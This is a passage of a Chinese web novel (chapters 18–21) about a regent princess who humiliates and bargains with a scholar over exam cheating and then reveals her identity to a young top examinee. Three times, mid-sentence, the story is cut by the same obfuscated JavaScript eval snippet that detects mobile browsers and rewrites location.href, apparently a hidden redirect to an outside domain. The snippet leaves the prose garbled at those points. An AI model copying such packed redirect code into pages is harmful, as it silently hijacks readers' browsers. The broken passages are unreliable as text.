直到府外此起彼落的议论声终于吵到了里面的人,长公主府的大门才开了小小的一条缝。门缝只够长使常茵探头出来,尴尬而不失礼貌的微微一笑,用刚好让前排百姓清楚听到的声音说:“柳四郎抱歉,大门日久失修,还请郎君稍移玉步,从小门进去。” 一众人等:……你这开的不就是大门么,门上鎏金还像新的一样,这还日久失修? 不待任何人作出反应,大门却已经被砰的一声关上。 随之开启的是府邸一角的侧门,且只是开了仅够一人通过的细细缝隙。 在长公主府这种规格的大宅院里,小门是供奴仆婢妾进入,比大门远远要矮,一般都要低着头才能进去,为的就是让奴婢下人认清自己的位置,更是要提醒他们自己永远低人一等,在主人面前永远无法抬起头来。 柳四郎腰板挺直,负手而立,眸光温润中带着睥睨众生的距离感,像出淤泥而不染的天山雪莲一样孤傲屹立,周身不近人情的清冷气场让吃瓜群众也不敢停下了窃窃私语。 然后,出淤泥而不染的天山雪莲弯折腰肢,从小门中钻了进去。 18.第 18 章 身为声名大噪的柳家少主却在众目睽睽之下像奴仆一样钻进小门,柳孤城的脸色却没有什么变化,表情还是清清冷冷的,仿佛刚刚所做的事完全没有半点折辱的意思。 常茵站在廊道上的拐角处,笑意盈盈的探出头来:“我是府上长史常茵,柳四郎请稍等,殿下稍后便来。” 柳孤城温和一笑,点了点头,清润好听的声音说着:“有劳常大人。”整整一个无可挑剔的谦谦君子。 这一稍等,却是等了他整整一个时辰。 常茵被留在书房里整理了好一个时辰的常家名录,越长风才让她去传召正在“稍等”的柳孤城。 男子还是站在原地,仿佛时间真的没有过去一样。 常茵连自己也觉得有些不好意思,干咳两声:“咳咳,殿下在水榭里等着郎君。” 柳孤城腰板挺直,不卑不亢,不愠不怒,就好像三番两次被长公主府轻蔑羞辱的人根本就不是他一样。 “麻烦常大人领路。” 水榭在公主府的外院和内院之间,盖在规格类比宫中太液池的人工湖上,四面垂着半透的纱幕,左右有曲廊跨水接岸,后面又有曲折竹桥暗接内院楼阁。 越长风披着银狐大氅,手捧袖炉,懒洋洋的靠在贵妃榻上。 柳孤城刚刚揭起帘子,便听见她情意绵绵的声音:“柳郎来了。” 这话出口是那么自然,显然这样的话越长风从前已经说得顺溜。 柳孤城动作一顿。 越长风含情脉脉,眉眼带笑,女儿之态真情流露。但她看着的并不是他。 她在透过他,看着她真正的柳郎。 越长风从不吝啬自己的注目,她的目光可以在沈相、裴将军、甚至是身无官职品位的贫民窟小解元身上流连忘返,唯有在看向自己时,目光停驻之处从来都不是他柳孤城。 柳孤城羽睫轻颤,恰好掩去了眸中一闪即逝的阴狠。 他直直走到半躺着的越长风跟前,高挑的身影几乎便要把她笼罩。 “在下柳孤城,见过长公主殿下。” 越长风懒懒“嗯”了一声,她发现这人实在很喜欢强调自己的名字,可是她还真的毫不在乎。 沈约是老师,裴玄是大狼狗,顾锦卿是小狗,无论他们本身是谁,她都将他们塑造成了自己喜欢的模样。而柳孤城——是柳郎,不过给她用来弥补曾经的遗憾,代替不听话的“柳郎”。 柳孤城见越长风神情慵懒,知道她根本不把自己放在心上。这是他第四次站在她的面前,两人甚至已经有过肌肤之亲,可她看着自己的目光,看似多情,实质无情至极。 难道非要杀掉那些妄图接近她的人,摧毁她赖以掌控旁人的一切,让她的世界只能剩下他一个人,才能换得她的一点真心? 心中的阴暗念头得到变态的养分而快速滋长,柳孤城的表面却是依旧温润如玉,他微微俯身,朗声说道:“柳某求见长公主,是想和殿下做一个交易。” 越长风微微抬首,感觉这人的压迫感太重,不悦道:“退后。” 柳孤城身形一滞。 “怎么?”越长风秀眉一挑,声音也沉了下去。 “听不懂?” 柳孤城一言不发,默默地退了一步。 越长风气得想笑,善于控制的她却没有让喜怒皆形于色,只是嘴角一勾,似笑非笑:“交易的本质是各有付出,各有收获。那么柳家四郎,本宫可以从你身上得到什么?” 柳孤城早已料到她会有此一问,不疾不徐的答:“柳某知道柳家一直以来都有做地下钱庄的生意,也知道殿下也知道这件事。” “我愿意交出两本地下钱庄的帐簿。” 越长风不以为然的道:“本宫让常长史去柳家传话,说的是交出地下钱庄的帐簿,不是用它来从本宫身上得到什么。” 柳孤城适时地流露出一丝愕然和委屈,眼帘谦恭的微微垂下,浅浅笑问:“那我可不可以用这两本帐簿,换取和殿下交易的一个机会。” 越长风冷笑:“柳郎终于有了一些自知之明。”话音里却不无赞赏之意。 柳孤城再次听见“柳郎”二字,唇角一抿,终是忍住了没有更多的反应。 果然他还是有自知之明的。 “先说说吧,你想得到的,是什么?”越长风歪头,一脸好奇的样子。 “是要本宫放过柳家么?” 自从上元宫宴的那一晚后,她的脑海里便一直充斥着昭庆宫里的那一幕。平时就像现在这样一副温润谦和公子模样的人,在那一晚不断求她,求她不要走,求她帮自己,求她轻一点,求她再帮自己一次…… 这样孤高清贵的人,求人的样子才是最让人着迷。 越长风要他求她。 柳孤城却出奇的摇了摇头。 “枪替代考对真才实学考上的举子不公,家主纵容子侄混淆朝廷、甚至穿针引线安排代考是为不忠,本来就是罪无可恕,死不足惜。” 越长风来了兴趣,没有想到他既然愿意呈上她所要求的柳家帐簿,却不是为了给自己的家族和父亲说情。他甚至不叫左仆射做父亲,而只是冷冰冰的叫他家主。 作为柳家少主,竟然不顾世家利益,而是在乎对其他士子不公、对朝廷不忠——既然如此,那他又为什么要来长公主府受气,低声下气的和她“交易”? 越长风不自觉的坐直身子,脸上慵懒的神色也多了几分认真。 看见她的反应,柳孤城十分满意,嘴角悄悄扬起,“首先,我愿意交上我知道的柳家子弟代考名单。” “然后,我希望殿下秉公办理,严惩请枪代考的人,以及……家主本人。” 越长风一脸奇怪的看着他:“……包括你的父亲?” 柳孤城浅浅一笑,没有说话。 “你想要本宫毁了你的家族?” “不是毁了。”柳孤城摇了摇头。 “是剜骨去腐。” 他定定的看着一脸不解的越长风,别有深意的笑笑:“翦除被虫蛀烂的枝叶,我才放心接手柳家这棵大树。” “你要做柳家家主。”越长风重新半躺回去,轻慢笑道:“这的确是你大哥生前还没来得及做到的事。” “你想借本宫之手为你清理门户,除去你接任家主的障碍,还把这叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079504|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做交易。那你岂不是赚翻了?” 柳孤城眸光深邃,有一种蛊惑人心的味道。明明自己的用意已经被对方拆穿,他却没有感到一丝慌乱。 “柳某认为,交易的本质不是得到和失去,而是双方平等的互惠互利。”男人不慌不忙,缓缓说道:“殿下本来就急于揪出那些找人代考的欺君之辈,其实这场交易对殿下而言比对在下更加有利。殿下说是么?” 越长风看着那双深渊一般的眸子,忽然笑出声来。她的笑声轻快似银铃,却也渗着阵阵透心凉的寒意。 “柳郎好像忘了,你这是在求本宫。”她一下跳下贵妃榻,拍拍衣摆站直身子,眉眼带笑的凝视进深渊深处。 “求人就该有求人的态度。” 见柳孤城脸色一变,她把手放在男人肩上,更加轻蔑的嗤笑一声:“有求于人的一方和被人恳求的一方,永远也不可能平等。” 越长风一边说着,放在肩头的手便一点一点往下按去。 她的手上力度并不算大,却是带着一种不容置疑的坚定。柳孤城要是奋力反抗,其实也未必不能挣脱出来。 越长风在逼他做出选择。是放弃所谓的交易,便可以昂首挺胸走出这座水榭;还是用求人的态度,在她的手下主动跪下,主动将自己摆成卑微臣服的姿态。 随着肩头上的手一步一步的下压,柳孤城终于屈膝,膝盖随着小腿贴在水榭的地上。 “求你。”跪在地上的他视线远远低于站在前方的越长风,只能仰起脖颈,从卑微的角度仰视那个唯一可以给他他心中所求之人。 “求殿下帮我。” 越长风低头,居高临下的俯视,终于在深渊一般的双目里看见了深处的熊熊火光。 这样的火光,她在柳孤城欲\火焚身的时候见过,在他被她勒得濒死的时候她也见过。看着和柳时言如此相似的眉眼,在自己的折辱之下燃点起和曾经光风霁月的柳哥哥如此相似的点点星火,实在让她沉溺其中,欲罢不能。 要不……就继续把他折辱下去,从他身上得到自己想要的快感和满足吧? 越长风松开放在男人肩上的手,举步往水榭外走去。 柳孤城见她没有回应,一下急了,正想站起身来,越长风淡淡的声音却让他的膝盖钉在地上。 “本宫有让你起来了么?” 柳孤城咬紧牙关,一步一步的膝行上前,来到水榭接近湖面的边缘。 “柳郎真乖。”越长风被大大的取悦到了,毫不吝啬她的赞赏:“本宫很欣赏你的讨价还价。” 她顿了顿,似乎想了一下,才悠悠笑道:“要本宫帮你也不是不可,但本宫要你付出再多一样东西。” “本宫要你在殿試後入府,做我的面首。” 柳孤城愕然抬首,没有想到自己之前多番谋策而不得其所,现在却是得来全不费功夫。 他的呆滞看在越长风眼中却是不情不愿的迟疑,她忽然心生一个恶劣的想法,心随意动的抬脚,一下把人踢进水榭周围的人工湖中。 柳孤城这次没有乖乖就范,下意识的拉着她的脚腕,一下把人也拉进水里。 19.第 19 章 人工湖的湖水本来就不深,不过片刻越长风便找到平衡站起身来,而水面也不过来到腰腹之处。 可是她还是暴露了狼狈的一面,先是被拉进冰冷的水里,华裳湿透,还喝了一大口冷水。 “你在发什么疯?”一向从容的笑面虎眼眸微眯,容色震怒。 柳孤城缓缓站起身来,已经没有了方才跪着时的卑躬屈膝,又是一向那副清高矜贵的公子模样。 “那殿下又为何无故推我入水?” 越长风看着水中男人,月白色的锦袍被水渗透,发梢还泡着湖水,明明是一只落汤鸡,偏偏他还一副从容的表情,实在是在叫嚣着让更强者玷污、欺辱,打上自己的标记。 她的目光慢慢移到他的脸上,看见了那副谦谦君子的表象下,黑眸深处的点点星火。她很清楚这点点星火和少年柳时言眼中的火光不同——不是那个光风霁月少年的梦想和追求,而不过是装作那个光风霁月少年的人,在温润表面之下悄悄探出头来的点点疯魔而已。 可是,这种疯魔,却又让她出奇的著迷。她想看他更加疯魔,她想看那星火因她点燃,也因她燃尽。 只是,他的疯魔,必须在她的支配之下。在她手下,从不允许超越自己掌控之外的野火燃烧。 “你自己都说是无故了,”越长风一边伸手拨着湖水,一边迈步往湖边走去。 “本宫想要怎样对你,难道还需要一个理由?” 见她举步欲行,柳孤城一把拉住了她的衣袖。 湿透了的广袖重心下移,不好一下挣脱,而柳孤城拽住的力度也出奇的大。他大胆的往前踏了两步,眸中火光更盛,本来清冷的面容在火光之下染上一丝魅惑,更见俊美无俦。 那张俊美无俦的脸微微俯下,想要靠近面前女郎。 越长风没有和他一起无端发疯的闲情雅致,不耐烦的命令:“放手。” 柳孤城薄唇紧抿,眼帘低垂,掩去了眸中阴鸷。 越长风也不走了,只是冷冷道:“本宫不喜欢不听话的人。” 柳孤城默默松开了手。 越长风走到岸边爬了上去,这时常茵已经闻声而至,嘴里嚷嚷着:“大胆刁民,意图谋害长公主,该当何罪!” 越长风听着她脸不红心不跳的指鹿为马之言,自己也是忍俊不禁——权力还真是个好东西。 她高高在上地睥睨着湖中兀自呆愣愣地站着的柳孤城,也脸不红心不跳的说道:“柳郎若想日后好过一点,这桀骜不驯的性格,是应该好好改一改了。” “不过,”她忽然想起了一件事。 “虽然本宫无论怎么对你也不需要理由,但我见你这么可怜,跟你说一下其实也没差。” “你摔下水时从容不逼,还不忘顺手把本宫一同拉下去,可见你不仅通水性,身手反应也是敏捷;可是在上元宫宴那一晚,只有你一人掉下太液池里,还恰好等到常茵前来把你带回昭庆宫里,可见那一晚把你送到本宫床上的真正推手,不是左仆射,也不是你那两个废物哥哥,而是你自己。” 越长风话音轻佻,轻松得似是根本不把他的算计和欺瞒放在心上,就算统统说予他听也毫不在乎。 即时那一晚她“帮”他解药,尽情索取,最后餍足而去,她由始至终都没有把他这个人放在心上。她只是在给他的问题一个答案而已。 “殿下……”柳孤城眸中火光骤然熄灭,正要说些什么,被越长风举起一只手打住。 “进府之后,不想受罪的话,你那满口大话的毛病也应该好好改一改。”她皮笑肉不笑的丢下一句,揈揈还滴着水珠的罗裳广袖,也不理会还在池中的男人,带着常茵径自离去。 只余柳孤城在她看不见的背后,深邃的目光停驻在她毫无留恋的背影上一动不动。 ----- 会试结果出来,除了有数十名的举子因为枪替代考而被永久除名之外,余下八百多名应考举人之中由主考官和批阅试卷的礼部官员选了前八十名出来,由一到八十顺序排列于金榜之上,张贴于礼部贡院门外,是为金榜题名。 当中排列第一的,竟是京兆府最年轻的解元郎,如今是本朝最年轻的会元郎,在贫民窟长大的、如今也不过二十岁的顾锦卿。 顾锦卿看着金榜上自己的名字,也不禁看得傻眼。直到有人朝他高声贺喜:“恭喜顾兄!”或许是几十岁的大叔叫他顾兄实在太过滑稽,他才骤然回过神来。 顾锦卿还是小名狗子、在聚贤阁里代号六十九的时候,考过十八场童生试、六场乡试,当中还有两场高中解元。可是,这是他第一次踏入礼部贡院,也是他第一次高中会元。 也是顾锦卿这个名字第一次登上金榜。从此,顾锦卿便是两元及第的会元郎了。这一切都仿佛是昙花一现的过于美好,太不真实。他离自己的梦想越近,心里的不安却也越多。 让他更加难以安心的是,会试放榜一天下来,心心念念的殷姐姐没有找过他,也没有让人给他捎一句话。 在会试放榜之前,她明明已经让他好好准备殿试了,可见姐姐对自己多有信心——偏偏在放榜之后,她却连一句话也没有给他。 顾锦卿一直等到夜半三更,知道自己今天是等不来他的资助人了,对着窗外空荡荡的院子长长叹了一口气,转身走进一条密道。 他熟练地在有如迷宫的地道系统里左绕右拐,最终走过长长的走廊,打开了地下宫殿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083997|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 阁主没有坐在一贯的太师椅上,而是半躺在一旁的软榻,身上盖着厚厚的锦被,只露出了俊美无俦的一张脸。 顾锦卿有些惊讶:“阁主的身体……” “早几天染了风寒,不碍事的。”阁主懒懒的摆了摆手,嗓音有些沙哑,似乎还有一丝鼻音:“倒是恭喜我们前无古人的顾会元了。” 顾锦卿两颊一红。 “阁主心情似乎很好,还有闲情取笑锦卿。” “这心情嘛,”阁主舌尖微伸,舔舔嘴角,勾起意味深长的一笑。 “得偿所愿,还挺不错的。” 顾锦卿在榻前坐了下来,神色一下变得认真:“这会试代考到底是怎么回事,阁里不是已经不做替枪代考的生意了么。” 阁主伸手摸了摸他的头,顾锦卿只觉那只手冰冷得不像话,难怪他不得不把自己裹在厚厚锦被之中。 “不再做替枪代考的生意,的确是我的意思。”阁主的目光看向远方,脸上笑意渐变冷硬。 “可惜,有些人阳奉阴违,私底下继续做枪替生意不止,还想借此积累在朝中的势力,和本座抗衡。” 顾锦卿看着表情变得冷厉的邻家哥哥,虽然他对邻家哥哥是怎么踏过尸山血海坐上阁主之位的再也清楚不过,可是看见他毫不掩饰的嗜血和狠戾,还是禁不住的毛管直竖。 “所以,玄武卫收到的密报,其实是阁主的借刀杀人之计?” 阁主收回手,拉紧了身上锦被,脸上是掌控全局的悠然惬意:“本座清理门户,还不用自己出手,何乐而不为?” 阁主娓娓道:“不只是玄武卫,还有的是人做我们的手中刀。我一只手指也不用动,常家和薛家便已外强中干,程家和柳家失去朝中位居高位的家主和他们贪墨所得的银两作为依靠,从此以后这些所谓的四大世家都只能更加诚心依附本阁,量他们也没有那个能力再次忤逆。” 顾锦卿沉吟半晌,有些不确定的轻轻说道:“可是,我这几晚夜不能寐,就算中了会元,但仍总是觉得不安。” 阁主淡淡一笑:“我们的顾会元还要在殿试上三元及第哩,就别想那么多了。” 脸上笑容敛去,阁主那张不近人情的脸上这才有了几分真实的感情:“那些肮脏腌臜的东西都交给我来做,你只需要保持初衷,问心无愧。” 他顿了顿,别有深意的加了一句:“尤其在殿试时,无论发生了什么事,都更加要紧记这一点。” 顾锦卿还想说些什么,却已被阁主挥手遣退。 阁主还是裹着被子,缓缓站起走到书桌前,看了看桌上铺开的各家帐簿。 他的确病得不轻。 但是他也很久没有感觉到这么兴奋了。 20.第 20 章 来到四月,大地彻底回暖,帝京的男男女女都除下了厚厚的大氅,换上桃红柳绿的鲜艳春衣,处处桃花盛开的旖旎美景。 殿试定在四月初一,在皇城里最大的含元殿中举行。礼部官员早已提前在太极殿里布置好了殿试所需,其中最重要的大概是把撤掉的龙椅重新搬回原位,把摄政长公主的宝座挪到一旁——毕竟参与殿试的贡士都是天子门生,这天子还是不得不出现的。此外便是在殿内东边放上以黄锦铺就的策题案,以及在皇帝和长公主座下放上主考官和副考官的桌椅,和阶下八十名考生的试桌。 一切准备就绪之后,来到了殿试的日子。一大清早,礼部官员便安排八十名通过会试的贡士根据排名进殿,以单数在左、双数在右的两列站在阶下等候。 顾锦卿作为榜首会元站在左列第一位,这是在一众贡士之中离阶上御座最近的位置,但他就算眯着眼睛也难以看清御座上的精致花纹。在他二十年的人生里,从人人卑贱如蝼蚁的京城贫民窟走到整个天下最高贵的含元殿上、天子座下,那是绝大部份的人穷尽一生也走不到的位置,可是当他抬首仰视的时候,却又发现自己离绝对的权力是那么遥远。 他拼命努力追求的权力和地位,对于某些人来说,是甫一出生便唾手可得的东西。 殷姐姐既是长公主的长史女官,长年离绝对的权力是那么接近又那么遥远,不知又有没有这种感觉? 如果他在殿试里获得一个好名次,得以留在京城做官,就算离权力中心还是那么远,又会不会至少离殷姐姐比较近? 顾锦卿站在那里胡思乱想着,忽听内侍高唱“主考官到”,上一次在会试之中远远瞧见过的相爷再次出现在他的面前。 沈约一身深紫朝服,金冠玉带,贵气非凡,举手投足间都是属于中年权臣的沉稳气度。只见他在副考官和礼部官员的簇拥之下手捧蜡封的策题走上大殿,放在东侧的黄案上,然后不疾不徐的走上高台,接受八十名通过会试的贡士行拜师礼。 相比会试的时候,顾锦卿这次更加清晰地感受到这位和自己的地位有着天壤之别的权臣正在纡尊降贵的打量自己。 难道只是因为自己寒门出身但成就了连中两元的传奇?还是因为他看出了自己和殷姐姐之间的那种关系? 顾锦卿没有什么时间胡思乱想。沈约才刚坐定,内侍再唱“陛下驾到、长公主殿下驾到”,阶上阶下一众人等皆齐刷刷的跪了下去,迎接天家銮仪的驾到。 顾锦卿听见自己内心卜卜的跳着,也不知是因为他准备应考自己人生中最重要的一场考试,还是因为他知道自己的资助人就在长公主的仪仗里,她甚至可能还在看着自己。 可惜,臣子没有命令不得窥视天颜,他只能低头跪着,看不见他的资助人在哪里。 长长的仪仗走过跪在阶下的贡士,缓缓走上高台,估计在小皇帝和长公主落座之后,一众考生只听一把女声说道:“众卿平身。” 高台上的宝座离开台下贡士实在太远,长公主的命令基本上都是透过内侍转述给阶下臣民。顾锦卿站在最前,那把女声也只是隐约可闻,他却怎么听怎么觉得熟悉。 在他站直身子之后,他还是忍不住抬起头来,看向高台上坐着的人。 中间的少帝将吉祥物般乖乖的被放在那里,一动不动;旁边的昭阳长公主一身玄锦织金朝服,上绣张牙舞爪的九条蛟龙,裙摆触地,水袖翩翩,头上戴九珠冕旒,遮住了绝大部分的面容,只是举手投足间依旧透着明媚华贵的气度。 可就算只能看见那张脸的一小部分,顾锦卿还是感到了一种异常的熟悉感。 一种让他异常不安的熟悉感。 当他看向长公主身后站着的女官时,陌生的面容让他明白了自己的不安从何而来。 ——不,他不是才刚明白,只是一直选择了对那些明显不过的漏洞视而不见而已。 他想起了阁主在听见他对于“殷姐姐”真实身份的猜测时,脸上那副似笑非笑的表情;还有他那句不祥的“尤其在殿试时,无论发生了什么事”。 他想起了那个叫做“行舟”的男人,在他的殷姐姐面前驯服顺从犹如家犬,在贡院外把他叫上车上时却毫不掩饰上位者的威仪和气势,对玄武卫发号施令时也明显是这些人的顶头上司。 他想起了殿试还未放榜之前,他的殷姐姐对他说,好好准备殿试——就好像她对他有着盲目的信心,又或者她早已知道他会高中。 他想起了当初在相府书房外听见的“常姑姑”三个字,当时他先入为主地认定了沈相是在唤他的资助人为常姑姑,又因为殷茵同音而加深了这个先入为主的假设。可是,“殷夫人”的名字本来就是资助人杜撰而来,既是杜撰,又何必选一个同音的字? 顾锦卿一时只觉晴天霹雳,脑海里一片混沌,呆愣愣的站在那里,目光散漫的在面容陌生的女官和隐隐熟悉的长公主之间徘徊。 九珠冕旒下的眉目看不清楚,但他已经无法再自欺欺人下去。 “殷夫人”是谁,已是昭然若揭。 顾锦卿迷迷糊糊的透过重重珠帘,看到了天下最尊贵的女人眼中那戏谑和恶劣的笑意。 仿佛在说:“小狗还差本宫的第二十下罚。” 顾锦卿神情恍惚,张口想说:“姐姐骗我。” “顾会元。”面前的脸忽地换成了礼部官员,官员手中捧着一叠答卷,因为他的走神而眉头紧皱。 顾锦卿一下回过神来,带领一众贡士接过答卷,回到自己的试桌前准备聆听主考官宣布试题。 殿试只有一份策题卷,是由摄政长公主代皇帝所出。在一众考生入座之后,身为主考官的沈约走到策题案前,即场解封上面的策题卷,一字一句朗声宣读: “朕即位改元,至今已有四年,然而朝廷依旧官官相卫,刑法吏治也不清明,官商勾结损害朝廷利益,问题究竟出在哪里?” “朕虚心向朝野求教,然而百姓的难处依旧难达天听,手握实权而心有异心的官员也把这当作朕的懦弱,此事如何拆解?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090071|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“朕一心求变而施行新政,但人的天性安于现状,且新政为有心人所把持而牟利,这些改变最终又是否值得?” “此三者,朕之所疑,日夜以思而未获者也。其悉言之,无有所隐,朕将亲览焉。” 顾锦卿默默听罢,本来强迫自己专心致志投向沈约的目光终于又忍不住移到上首的越长风身上。 只因,这些问题,他的资助人在日常与他探讨学问的时候,或多或少都有提过。曾经他以为她不过是在考究自己的功课;原来,这些问题真实地存在于她的生活之中,只因她便是那个手握大权而急于求变的朝廷掌权人。 他也骤然意识到,身为明面朝廷之首的昭阳长公主已经知道了“影子朝廷”聚贤阁的存在,而且他的阁主哥哥还借她之手清理门户。 而现在的他,除了考试以外,什么也做不了。 顾锦卿深深吸了一口气执起手中陪伴自己多年的毛笔,强迫自己沉醉在一心答题的小世界里。 既然什么也改变不了,那就不如什么也不要想,只要好好考试就行了。 ——为了姐姐,好好考试。 ----- 整场殿试下来,越长风的目光没有离开过左首第一的顾锦卿,却也没与他说一句话,殿试完了之后也没有去过一次他的宅院,就像已经把他抛到脑后一般。 在没有姐姐的夜晚,顾锦卿想起阁主明明知道“殷姐姐”的身份却对他讳莫如深,索性多次走下地道来到聚贤阁的地下宫殿意图求证,阁主却像刻意避开他似的每一次都不在。 顾锦卿满腔郁闷,觉得自己快要翳出病来了。就这样过了三日,天还未亮内侍便前来宣旨,要他速速入宫。 殿试后三日,在所有答卷经过副考、主考和天子三关批阅和评等之后,礼部按惯例传召前十名入宫,然后由天子按一至十的顺序在紫宸殿逐一接见,就是所谓的“小传胪”。 黎明时分,春日刚刚探出头来,住得离皇城最远的顾锦卿终于入到宫里,发现其他九人已经站在紫宸殿外等待。 他还未来得及与其他贡士寒暄,紫宸殿的大门忽然一下打开。 殿试时站在阶下向考生宣旨的内侍走出殿外,目光从一众贡士脸上扫过,最终停在了额上还渗着汗珠的顾小解元身上。 “殿下有旨,宣顾锦卿觐见——” 小传胪的传统是顺序由一至十接见,所以第一个传召进殿的,便是这一届的状元郎。 年方二十、出身自京城贫民窟的顾锦卿,成为了第一个三元及第的状元郎。 一片夹杂着羡慕、妒忌和不可置信的恭贺声中,顾锦卿几乎是用跑的奔进大殿,此刻他的心里没有丝毫三元及第的惊愕或喜悦,只有一个疑问。 他迫切想要知道却又害怕知道的答案,此刻正襟危坐在大殿上首的宝座上,熟悉的脸上是对顾锦卿而言陌生至极的冷漠和威严。 这才是越氏天下的掌权人,不是爱玩爱笑的殷夫人,而是权力至上、冷酷无情的摄政长公主越长风。 21.第 21 章 紫宸殿是举行小朝会以及皇帝日常办公的地方,规格远比含元殿要小,也没有长长阶梯和高得让人看不清上首之人的高台。 是以顾锦卿一踏入殿中,只用了一眼便看清了殿内情况。 少帝不在,上首便只有一张摄政长公主的檀木宝座,天底下最尊贵的女郎坐在上面,衣饰繁复,发髻高盘,玉冠上没有佩戴冕旒,让他清清楚楚的看见了那张冶艳明丽的脸。 那张脸没有他所熟悉的戏谑和宠溺,没有平时对他挑猫逗狗的轻松愉悦,甚至她平日的坐姿都是懒洋洋的,如今却是正襟危坐,目光冷凝的注视着进殿的人,好像她就只是在代表越氏朝廷,不过是在打量一件趁手好用的工具而已。 她的身后站着真正的长史常茵,还有那个名叫行舟的玄武司使。下方会试主考沈约负手而立,一脸严肃的看着走进殿里的他,没有表现出一丝一毫的熟稔。 顾锦卿陡然生出了一种困兽斗的感觉。他自己身上还是一袭青衣,发顶只有一支毛笔,站在堂下呆愣愣的仰望上首,在殿试那日猜到殷姐姐的真正身份时他是震惊,现在的他却是莫名的难过。 他终于意识到,而且不得不接受自己和殷姐姐的身份和立场是如此的悬殊。 那个名叫行舟的男人看不起他,大概也是对的。至少那个男人在长公主遇刺时有能力把她护送到外宅之中避祸养伤,现在又有资格作为亲信站在她的身后。而他纵使三元及第,也不过是出身贫民窟的穷苦书生,根据科举惯例大概会进入翰林院作为编修,走一条历朝历代早有千百人已经走过的路,一点也没有自己的特别之处。 又或者她本身愿意资助他直到考上科举,便是因为他平平无奇甚至干净得像一张白纸的背景,她需要建立自己的势力,而自己在表面上和四大世家以及影子朝廷没有一丝瓜葛。 床笫之间那些小狗和主人的戏言,原来从来都不是姐姐兴之所至的闺房之乐。由始至终,他顾锦卿便是长公主刻意培养的一条小狗,这条小狗不是为了她的私欲服务,而是用他能言善辩的口和洋洒万字的手来为朝廷效力。 礼部的传胪官见这位年纪轻轻的状元郎傻子一样站在那里,心中暗骂一句没见识,大声唱道:“贡士顾锦卿,进见长公主。” 顾锦卿如梦方醒,慌忙跪下,视线直直的看着地面:“臣顾锦卿,叩见长公主殿下。” 头顶传来一声没有感情的“顾卿平身”,顾锦卿默默站起身来,却再不敢抬头直视天颜,眼帘微垂,依旧看着地面。 偌大的紫宸殿中,此刻静得细针落地可闻。 不知过了多久,顾锦卿听到了一声轻笑。 笑声轻得有如微风拂过,对顾锦卿来说却是熟悉至极,熟悉得让他难以置信。 威严的女声自头顶传来,不带一丝私人感情,让他更加确定刚才听见的笑声只不过是他的幻觉。 “顾卿,抬起头来。” 顾锦卿下意识的服从,抬起头来对上了上首那张既熟悉又陌生的脸。反应之快,似乎还能看见她眼中一闪即逝的满意。 越长风定定的注视着他,把自己钦点的状元郎举手投足之间的青涩和狼狈尽收眼底,享受一番之后才悠然开口。 “在殿试的策题卷上,本宫问了三个问题,而你的答案以一字蔽之,就是一个变字。”她压下笑意,一脸肃穆的说道:“可是自古以来,求变的人大多都没有什么好下场——在生前看不到变法的结果,被朝野世人所误解,最终为他人作嫁衣裳。” “那么顾卿,”她直直的看进新科状元的眸光深处,“你是否愿意把这一条路走到尾,不论中途如何、不论结果如何,坚持你的初衷?” 顾锦卿深深吸了一口气,心里还是乱成一团,但他的目光清澈而坚定:“世路无穷,劳生有限。” “知我罪我,其惟春秋。” “好!”越长风目露赞赏,接过身后男人递来的茶盏,浅浅呷了一口,才朝负责传胪的官员命令:“给顾状元宣旨。” 顾锦卿看着她握着茶盏的芊芊玉手,在他接过六品朝冠、衣帽袍服,代表不再是白衣之身,正式听封成为三元及第的状元一刻,心里想到的却只有她一手按着他的头,一手拿着茶盏微微倾侧,把温热茶水缓缓往他的衣领内倒去的一幕。 就算有别的男人给她斟茶递水也没关系。 只要她在吃饱喝足之后,把剩下的茶水倒在小狗身上便好。 ----- 宣旨之后,顾锦卿抱着明黄圣旨和状元袍服在紫宸殿外的长廊走着,忽然听见一把女声:“状元郎请随我来!” 顾锦卿认出了她,正是那真正的长公主府长史常茵。 “常大人。” “状元郎有品位在身,毋须大人前大人后的。”常茵上上下下的打量着他,笑得有些一言难尽:“殿下身边的人都叫我常姑姑。” 那句“殿下身边的人”实在太过露骨,顾锦卿的脸颊以肉眼可见的速度红了起来。又忽然发现自己在长公主面前从来都像个傻子一般,在相府的时候还以为自己窥探到了她的真正身份,原来由始至终误会的只有自己,反而就连真正的“常姑姑”都知道他是长公主身边的一件玩物。 常茵在殿试和方才的小传胪上两次见他都在发呆,没有给这愣子再次发呆的机会,几乎是用塞的领着他上了一顶轿子,直接把人抬到了昭庆宫里。 越长风还要接见余下的九名进士,回到昭庆宫的时候就已错过了午膳时间。她一踏入昭庆宫的偏殿里,看见的便是饥肠辘辘的小狗。 啊不,是人模人样的顾状元。 